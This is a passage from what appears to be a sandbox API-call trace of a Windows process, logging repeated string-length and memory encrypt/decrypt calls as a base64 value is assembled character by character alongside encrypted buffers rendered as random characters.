Memory=0x3c4e94) returned 0x0 [0232.570] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0232.570] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.570] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0232.570] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0232.570] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.570] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0232.570] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.570] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0232.570] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0232.570] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.570] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0232.570] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.570] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0232.571] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0232.571] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.571] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0232.571] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.571] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0232.571] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0232.571] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.571] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0232.571] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.571] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0232.571] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0232.571] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.571] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0232.571] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.572] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0232.572] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0232.572] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.572] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0232.572] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.572] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0232.572] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0232.572] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0232.572] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0232.572] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.573] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0232.573] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.573] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0232.573] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0232.573] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.573] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0232.573] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.573] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0232.573] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0232.573] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.573] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0232.573] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.573] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0232.573] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0232.573] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.574] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0232.574] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.574] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0232.574] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0232.574] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.574] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0232.574] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.574] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0232.574] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0232.574] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.574] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0232.574] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.574] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0232.574] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0232.574] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.574] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0232.574] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.575] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0232.575] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0232.575] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.575] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0232.575] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.575] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0232.575] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0232.575] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0232.575] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0232.575] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.575] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0232.576] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.576] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0232.576] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0232.576] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.576] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0232.576] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.576] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0232.576] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0232.576] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.576] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0232.576] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.576] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0232.576] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0232.576] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.576] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0232.576] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.577] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0232.577] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0232.577] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.577] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0232.577] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.577] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0232.577] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0232.577] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.577] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0232.577] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.577] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0232.577] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0232.577] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.577] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0232.577] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.578] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0232.578] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0232.578] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.578] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0232.578] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.578] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0232.578] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0232.578] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0232.578] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0232.578] SystemFunction041 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.578] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0232.578] SystemFunction040 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.579] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0232.579] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0232.579] SystemFunction041 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.579] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0232.579] SystemFunction040 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.579] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0232.579] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0232.579] SystemFunction041 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.579] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0232.579] SystemFunction040 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.579] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0232.579] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0232.579] SystemFunction041 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.579] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0232.579] SystemFunction040 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.580] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0232.580] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0232.580] SystemFunction041 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.580] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0232.580] SystemFunction040 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.580] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0232.580] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0232.580] SystemFunction041 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.581] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0232.581] SystemFunction040 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.581] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0232.581] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0232.581] SystemFunction041 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.581] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0232.581] SystemFunction040 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.581] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0232.581] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0232.581] SystemFunction041 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.581] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0232.581] SystemFunction040 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.581] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0232.582] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0232.582] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0232.582] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0232.582] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0232.582] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0232.582] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0232.582] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0232.582] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0232.582] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0232.582] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0232.582] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0232.582] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0232.582] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0232.582] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0232.583] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0232.583] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0232.583] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0232.583] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0232.583] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0232.583] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0232.583] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0232.583] EtwEventActivityIdControl () returned 0x0 [0232.583] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0232.583] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0232.583] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0232.583] SystemFunction040 (in: Memory=0x5c9307c, 